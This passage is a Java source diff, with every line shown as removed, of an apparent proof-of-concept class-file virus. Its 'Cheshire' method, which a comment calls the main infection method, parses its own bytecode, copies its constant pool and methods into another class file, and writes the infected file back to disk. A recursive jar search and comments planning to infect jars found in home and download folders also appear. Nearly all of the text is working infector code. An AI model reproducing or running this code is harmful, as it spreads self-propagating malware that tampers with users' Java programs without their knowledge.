b.putShort((short) new_name_index); - byte[] new_constant = b.array(); - int new_index; - if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){ - byte[] selfClassBytes = (byte[]) destination.get("this_class"); - ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes); - new_index = selfBytes.getShort(); - } - else{ - new_index = addToPool(destination, new_constant); - constant_pool_map.put(origin_index, new_index); - } - return new_index; - } - else if(const_tag == 9 || const_tag == 10 || const_tag == 11){ - ByteBuffer b = ByteBuffer.allocate(5); - int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); - int new_class_index = copyConstant(origin, orig_class_index, destination); - String thisClass = getClassName(origin); - byte[] methodClassBytes = constant_pool[orig_class_index-1]; - ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes); - methodClassBuffer.get(); - int classNameIndex = methodClassBuffer.getShort(); - String methodClassName = getUtf8Constant(classNameIndex, origin); - if(methodClassName.equals(getClassName(origin))){ - byte[] selfClassBytes = (byte[]) destination.get("this_class"); - byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool"); - ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes); - new_class_index = selfBytes.getShort(); - } - b.put(orig_constant[0]); - b.putShort((short) new_class_index); - int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); - int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination); - b.putShort((short) new_name_and_type_index); - byte[] new_constant = b.array(); - int new_index = addToPool(destination, new_constant); - constant_pool_map.put(origin_index, new_index); - return new_index; - } - else if(const_tag == 8){ - ByteBuffer b = ByteBuffer.allocate(3); - b.put(orig_constant[0]); - int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); - int new_string_index = copyConstant(origin, orig_string_index, destination); - b.putShort((short) new_string_index); - byte[] new_constant = b.array(); - int new_index = addToPool(destination, new_constant); - constant_pool_map.put(origin_index, new_index); - return new_index; - - } - else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){ - int new_index = addToPool(destination, orig_constant); - constant_pool_map.put(origin_index, new_index); - return new_index; - } - else if(const_tag == 12){ - ByteBuffer b = ByteBuffer.allocate(5); - b.put(orig_constant[0]); - int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); - int new_name_index = copyConstant(origin, orig_name_index, destination); - b.putShort((short) new_name_index); - int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); - int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); - b.putShort((short) new_descriptor_index); - byte[] new_constant = b.array(); - int new_index = addToPool(destination, new_constant); - constant_pool_map.put(origin_index, new_index); - return new_index; - } - else if(const_tag == 15){ - ByteBuffer b = ByteBuffer.allocate(4); - b.put(orig_constant[0]); - b.put(orig_constant[1]); - int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF)); - int new_reference_index = copyConstant(origin, old_reference_index, destination); - b.putShort((short) new_reference_index); - byte[] new_constant = b.array(); - int new_index = addToPool(destination, new_constant); - constant_pool_map.put(origin_index, new_index); - return new_index; - } - else if(const_tag == 16){ - ByteBuffer b = ByteBuffer.allocate(3); - b.put(orig_constant[0]); - int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); - int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); - b.putShort((short) new_descriptor_index); - byte[] new_constant = b.array(); - int new_index = addToPool(destination, new_constant); - constant_pool_map.put(origin_index, new_index); - return new_index; - } - else if(const_tag == 18){ - ByteBuffer b = ByteBuffer.allocate(5); - b.put(orig_constant[0]); - b.put(orig_constant[1]); - b.put(orig_constant[2]); - int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); - int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination); - b.putShort((short) new_name_and_type_index); - byte[] new_constant = b.array(); - int new_index = addToPool(destination, new_constant); - constant_pool_map.put(origin_index, new_index); - return new_index; - } - else{ - return -1; - } - } - - /** - * Find jar files given a directory - * @param f - * @return - */ - public static void searchFile(File file, ArrayList fileList) { - File[] files = file.listFiles(); - if (files != null) { - for (File f : file.listFiles()) { - if (f.isFile() && f.getName().endsWith(".jar")) { - System.out.println("Added " + f.getAbsolutePath()); - fileList.add(f); - } else if (f.isDirectory() && f.canRead()) { - searchFile(f, fileList); - } - } - } - - } - /** - * This is our main infection method. - * We need to determine the target classfile name when we're copying this - * because you can't figure out what class you're in while you're using a - * static method. Can't call a method without a class unless the method is - * statis, so we're at a bit of a catch-22. The solution is simple to hardcode - * the class in the propagated bytecode. - * - * We need to know if we can just inject static methods or not. It seems like either - * way you'd still need to change the constant pool. - */ - public static void Cheshire() throws IOException { - System.out.println("We're all mad down here...you may notice that I'm not all there myself."); - - /** - * What logic do we want to implement? - * Search folders for jar files, open them, look for main classes and infect? - * Sounds good. How do we get our current path? Also need to know if on Linux or Windows. - * Scan user dirs, home folders, downloads and look for running Java processes if on applicable version. - */ - String h = MethodHandles.lookup().lookupClass().getResource(MethodHandles.lookup().lookupClass().getName() + ".class").getPath(); - System.out.println(h); - String selfpath = SelfExamine.class.getProtectionDomain().getCodeSource().getLocation().getPath().replace("file:", "") + "SelfExamine.class"; - System.out.println(selfpath); - String OS = (String) System.getProperties().get("os.name"); - String homedir = (String) System.getProperties().get("user.home"); - File home = new File(homedir); - File fa = new File("dongs.txt"); - fa.createNewFile(); - - - System.out.println("Detected OS is " + OS); - System.out.println("Home directory is " + homedir); - File f = new File("."); - System.out.println("Absolute path:" + f.getAbsolutePath()); - System.out.println("Directory listing:"); - - for(String s : f.list()){ - System.out.println(s); - } - System.out.println(f.list()); - selfpath = selfpath.substring(1); - HashMap parsedClass = parseClassFile(selfpath); - HashMap goatClass = parseClassFile("C:\\Users\\Mike\\Desktop\\VirtualMachineTest.class"); - findOurMethods(parsedClass, goatClass); - inject(parsedClass, goatClass); - - FileOutputStream fos = new FileOutputStream(new File("C:\\Users\\Mike\\Desktop\\VirtualMachineTest.class")); - byte[] classbytes = classBytes(goatClass); - fos.write(classbytes); - fos.close(); - - } - - /** - * Return a hashmap with all of our shit in it. - * We want to break this down into a hashmap of the sections - * with maybe an arraylist of...objects? How do we keep the complexity low? - * Store them as bytes? Do I even need to write a full parser? Probably not. - * - * - * @param classfilepath - * @return - * @throws IOException - */ - public static HashMap parseClassFile(String classfilepath) { - try { - - Paths.get(classfilepath); - byte[] classbytes = Files.readAllBytes(Paths.get(classfilepath)); - - DataInputStream dis = new DataInputStream(new ByteArrayInputStream(classbytes)); - byte[] magic = new byte[4]; - - HashMap parsedClass = new HashMap(); - dis.read(magic); - StringBuilder sb = new StringBuilder(); - - for (byte b : magic) { - sb.append(String.format("%02X", b)); - } - - if (sb.toString().equals("CAFEBABE")) { - parsedClass.put("magic", magic); - byte[] minor_version = new byte[2]; - dis.read(minor_version); - parsedClass.put("minor_version", minor_version); - byte[] major_version = new byte[2]; - dis.read(major_version); - parsedClass.put("major_version", major_version); - byte[] constant_pool_count = new byte[2]; - dis.read(constant_pool_count); - parsedClass.put("constant_pool_count", constant_pool_count); - int constant_count_int = (short) (((constant_pool_count[0] & 0xFF) << 8) | (constant_pool_count[1] & 0xFF)); - byte[][] constant_pool = new byte[constant_count_int-1][]; - - for (int i = 0; i < constant_count_int-1; i++) { - - byte tagbyte = dis.readByte(); - int tag = tagbyte; - - if (tag == 7) { - // CONSTANT_Class_info - byte[] class_info_bytes = new byte[3]; - class_info_bytes[0] = tagbyte; - class_info_bytes[1] = dis.readByte(); - class_info_bytes[2] = dis.readByte(); - constant_pool[i] = class_info_bytes; - } else if (tag == 9) { - //Constant_Fieldref - byte[] fieldref_info_bytes = new byte[5]; - fieldref_info_bytes[0] = tagbyte; - fieldref_info_bytes[1] = dis.readByte(); - fieldref_info_bytes[2] = dis.readByte(); - fieldref_info_bytes[3] = dis.readByte(); - fieldref_info_bytes[4] = dis.readByte(); - constant_pool[i] = fieldref_info_bytes; - } else if (tag == 10) { - //Constant_Methodref - byte[] methodref_info_bytes = new byte[5]; - methodref_info_bytes[0] = tagbyte; - methodref_info_bytes[1] = dis.readByte(); - methodref_info_bytes[2] = dis.readByte(); - methodref_info_bytes[3] = dis.readByte(); - methodref_info_bytes[4] = dis.readByte(); - constant_pool[i] = methodref_info_bytes; - } else if (tag == 11) { - //Constant_InterfaceMethodref - byte[] interfacemethodref_info_bytes = new byte[5]; - interfacemethodref_info_bytes[0] = tagbyte; - interfacemethodref_info_bytes[1] = dis.readByte(); - interfacemethodref_info_bytes[2] = dis.readByte(); - interfacemethodref_info_bytes[3] = dis.readByte(); - interfacemethodref_info_bytes[4] = dis.readByte(); - constant_pool[i] = interfacemethodref_info_bytes; - } else if (tag == 8) { - //Constant_String - byte[] string_info_bytes = new byte[3]; - string_info_bytes[0] = tagbyte; - string_info_bytes[1] = dis.readByte(); - string_info_bytes[2] = dis.readByte(); - constant_pool[i] = string_info_bytes; - } else if (tag == 3) { - //Constant_Integer - byte[] integer_info_bytes = new byte[5]; - integer_info_bytes[0] = tagbyte; - integer_info_bytes[1] = dis.readByte(); - integer_info_bytes[2] = dis.readByte(); - integer_info_bytes[3] = dis.readByte(); - integer_info_bytes[4] = dis.readByte(); - constant_pool[i] = integer_info_bytes; - } else if (tag == 4) { - //Constant_Float - byte[] float_info_bytes = new byte[5]; - float_info_bytes[0] = tagbyte; - float_info_bytes[1] = dis.readByte(); - float_info_bytes[2] = dis.readByte(); - float_info_bytes[3] = dis.readByte(); - float_info_bytes[4] = dis.readByte(); - constant_pool[i] = float_info_bytes; - } else if (tag == 5) { - //Constant_Long - byte[] long_info_bytes = new byte[9]; - long_info_bytes[0] = tagbyte; - long_info_bytes[1] = dis.readByte(); - long_info_bytes[2] = dis.readByte(); - long_info_bytes[3] = dis.readByte(); - long_info_bytes[4] = dis.readByte(); - long_info_bytes[5] = dis.readByte(); - long_info_bytes[6] = dis.readByte(); - long_info_bytes[7] = dis.readByte(); - long_info_bytes[8] = dis.readByte(); - constant_pool[i] = long_info_bytes; - } else if (tag == 6) { - //Constant_Double - byte[] double_info_bytes = new byte[9]; - double_info_bytes[0] = tagbyte; - double_info_bytes[1] = dis.readByte(); - double_info_bytes[2] = dis.readByte(); - double_info_bytes[3] = dis.readByte(); - double_info_bytes[4] = dis.readByte(); - double_info_bytes[5] = dis.readByte(); - double_info_bytes[6] = dis.readByte(); - double_info_bytes[7] = dis.readByte(); - double_info_bytes[8] = dis.readByte(); - constant_pool[i] = double_info_bytes; - } else if (tag == 12) { - //Constant_NameAndType - byte[] nameandtype_info_bytes = new byte[5]; - nameandtype_info_bytes[0] = tagbyte; - nameandtype_info_bytes[1] = dis.readByte(); - nameandtype_info_bytes[2] = dis.readByte(); - nameandtype_info_bytes[3] = dis.readByte(); - nameandtype_info_bytes[4] = dis.readByte(); - constant_pool[i] = nameandtype_info_bytes; - } else if (tag == 1) { - //Constant_Utf8 - byte[] lengthbytes = new byte[2]; - lengthbytes[0] = dis.readByte(); - lengthbytes[1] = dis.readByte(); - int length = (short) (((lengthbytes[0] & 0xFF) << 8) | (lengthbytes[1] & 0xFF)); - byte[] utf_bytes = new byte[3 + length]; - utf_bytes[0] = tagbyte; - utf_bytes[1] = lengthbytes[0]; - utf_bytes[2] = lengthbytes[1]; - for (int a = 0; a < length; a++) { - utf_bytes[a + 3] = dis.readByte(); - } - constant_pool[i] = utf_bytes; - } else if (tag == 15) { - //Constant_MethodHandle - byte[] methodhandle_info_bytes = new byte[4]; - methodhandle_info_bytes[0] = tagbyte; - methodhandle_info_bytes[1] = dis.readByte(); - methodhandle_info_bytes[2] = dis.readByte(); - methodhandle_info_bytes[3] = dis.readByte(); - constant_pool[i] = methodhandle_info_bytes; - } else if (tag == 16) { - //Constant_MethodType - byte[] methodtype_info_bytes = new byte[3]; - methodtype_info_bytes[0] = tagbyte; - methodtype_info_bytes[1] = dis.readByte(); - methodtype_info_bytes[2] = dis.readByte(); - constant_pool[i] = methodtype_info_bytes; - } else if (tag == 18) { - //Constant_InvokeDynamic - byte[] invokedynamic_info_bytes = new byte[5]; - invokedynamic_info_bytes[0] = tagbyte; - invokedynamic_info_bytes[1] = dis.readByte(); - invokedynamic_info_bytes[2] = dis.readByte(); - invokedynamic_info_bytes[3] = dis.readByte(); - invokedynamic_info_bytes[4] = dis.readByte(); - constant_pool[i] = invokedynamic_info_bytes; - } else { - } - - } - parsedClass.put("constant_pool", constant_pool); - byte[] access_flags = new byte[2]; - dis.read(access_flags); - parsedClass.put("access_flags", access_flags); - byte[] this_class = new byte[2]; - dis.read(this_class); - parsedClass.put("this_class", this_class); - byte[] super_class = new byte[2]; - dis.read(super_class); - parsedClass.put("super_class", super_class); - byte[] interfaces_count = new byte[2]; - dis.read(interfaces_count); - parsedClass.put("interfaces_count", interfaces_count); - - int iface_count = (short) (((interfaces_count[0] & 0xFF) << 8) | (interfaces_count[1] & 0xFF)); - byte[][] interfaces = new byte[iface_count][]; - - for (int iface_loop = 0; iface_loop < iface_count; iface_loop++) { - byte[] iface = new byte[2]; - iface[0] = dis.readByte(); - iface[1] = dis.readByte(); - interfaces[iface_loop] = iface; - } - - parsedClass.put("interfaces", interfaces); - - byte[] fields_count = new byte[2]; - dis.read(fields_count); - parsedClass.put("fields_count", fields_count); - int f_count = (short) (((fields_count[0] & 0xFF) << 8) | (fields_count[1] & 0xFF)); - - byte[][] fields = new byte[f_count][]; - - for (int fields_loop = 0; fields_loop < f_count; fields_loop++) { - ByteArrayOutputStream field = new ByteArrayOutputStream(); - byte[] fieldfixed = new byte[8]; - dis.read(fieldfixed); - field.write(fieldfixed); - int attributes_count = (short) (((fieldfixed[6] & 0xFF) << 8) | (fieldfixed[7] & 0xFF)); - for (int attributes = 0; attributes < attributes_count; attributes++) { - ByteArrayOutputStream attribute = new ByteArrayOutputStream(); - byte[] attribute_name_index = new byte[2]; - byte[] attribute_length = new byte[4]; - dis.read(attribute_name_index); - dis.read(attribute_length); - int attribute_len = ByteBuffer.wrap(attribute_length).getInt(); - byte[] info = new byte[attribute_len]; - dis.read(info); - attribute.write(attribute_name_index); - attribute.write(attribute_length); - attribute.write(info); - field.write(attribute.toByteArray()); - } - fields[fields_loop] = field.toByteArray(); - } - - parsedClass.put("fields", fields); - - byte[] methods_count = new byte[2]; - dis.read(methods_count); - - parsedClass.put("methods_count", methods_count); - - int method_count = (short) (((methods_count[0] & 0xFF) << 8) | (methods_count[1] & 0xFF)); - - byte[][] methods = new byte[method_count][]; - - for (int methods_loop = 0; methods_loop < method_count; methods_loop++) { - ByteArrayOutputStream methodbytes = new ByteArrayOutputStream(); - byte[] methodfixed = new byte[8]; - dis.read(methodfixed); - int attribute_count = (short) (((methodfixed[6] & 0xFF) << 8) | (methodfixed[7] & 0xFF)); - ByteArrayOutputStream method_attributes = new ByteArrayOutputStream(); - - for (int attribute_loop = 0; attribute_loop < attribute_count; attribute_loop++) { - ByteArrayOutputStream attribute = new ByteArrayOutputStream(); - byte[] attribute_name_index = new byte[2]; - byte[] attribute_length = new byte[4]; - dis.read(attribute_name_index); - dis.read(attribute_length); - int attribute_length_int = ByteBuffer.wrap(attribute_length).getInt(); - byte[] attribute_bytes = new byte[attribute_length_int]; - dis.read(attribute_bytes); - attribute.write(attribute_name_index); - attribute.write(attribute_length); - attribute.write(attribute_bytes); - method_attributes.write(attribute.toByteArray()); - } - methodbytes.write(methodfixed); - methodbytes.write(method_attributes.toByteArray()); - methods[methods_loop] = methodbytes.toByteArray(); - } - parsedClass.put("methods", methods); - - byte[] attributes_count = new byte[2]; - - dis.read(attributes_count); - - parsedClass.put("attributes_count", attributes_count); - - int attribute_count = (short) (((attributes_count[0] & 0xFF) << 8) | (attributes_count[1] & 0xFF)); - - byte[][] attributes = new byte[attribute_count][]; - - for (int attribute_loop = 0; attribute_loop < attribute_count; attribute_loop++) { - ByteArrayOutputStream attribute = new ByteArrayOutputStream(); - byte[] attribute_name_index = new byte[2]; - byte[] attribute_length = new byte[4]; - dis.read(attribute_name_index); - dis.read(attribute_length); - attribute.write(attribute_name_index); - attribute.write(attribute_length); - int attribute_length_int = ByteBuffer.wrap(attribute_length).getInt(); - byte[] attribute_bytes = new byte[attribute_length_int]; - dis.read(attribute_bytes); - attribute.write(attribute_bytes); - attributes[attribute_loop] = attribute.toByteArray(); - } - parsedClass.put("attributes", attributes); - dis.close(); - //fis.close(); - return parsedClass; - - } else { - return null; - } - } - catch(IOException e){ - e.printStackTrace(); - } - return null; - }; - - /** - * Convert a manipulated class back to bytes for writing. - * @param parsedClass - * @return - * @throws IOException - */ - public static byte[] classBytes(HashMap parsedClass) throws IOException { - ByteArrayOutputStream bos = new ByteArrayOutputStream(); - bos.write((byte[]) parsedClass.get("magic")); - bos.write((byte[]) parsedClass.get("minor_version")); - bos.write((byte[]) parsedClass.get("major_version")); - byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool"); - int cp_length = constant_pool.length + 1; - - ByteBuffer b = ByteBuffer.allocate(2); - b.putShort((short) cp_length); - byte[] cp_length_bytes = b.array(); - bos.write(cp_length_bytes); - - for(int i = 0; i < constant_pool.length; i++){ - bos.write(constant_pool[i]); - } - bos.write((byte[]) parsedClass.get("access_flags")); - bos.write((byte[]) parsedClass.get("this_class")); - bos.write((byte[]) parsedClass.get("super_class")); - bos.write((byte[]) parsedClass.get("interfaces_count")); - byte[][] interfaces = (byte[][]) parsedClass.get("interfaces"); - for(int i = 0; i < interfaces.length; i++){ - bos.write(interfaces[i]); - } - bos.write((byte[]) parsedClass.get("fields_count")); - byte[][] fields = (byte[][]) parsedClass.get("fields"); - for(int i = 0; i < fields.length; i++){ - bos.write(fields[i]); - } - - byte[][] methods = (byte[][]) parsedClass.get("methods"); - - b.clear(); - b.putShort((short) methods.length); - byte[] methods_count = b.array(); - bos.write(methods_count); - for(int i = 0; i < methods.length; i++){ - bos.write(methods[i]); - } - - bos.write((byte[]) parsedClass.get("attributes_count")); - - byte[][] attributes = (byte[][]) parsedClass.get("attributes"); - for(int i = 0; i < attributes.length; i++){ - bos.write(attributes[i]); - } - - return bos.toByteArray(); - } - - public static void main(String[] args) throws IOException{ - Cheshire(); - System.exit(0); - } -}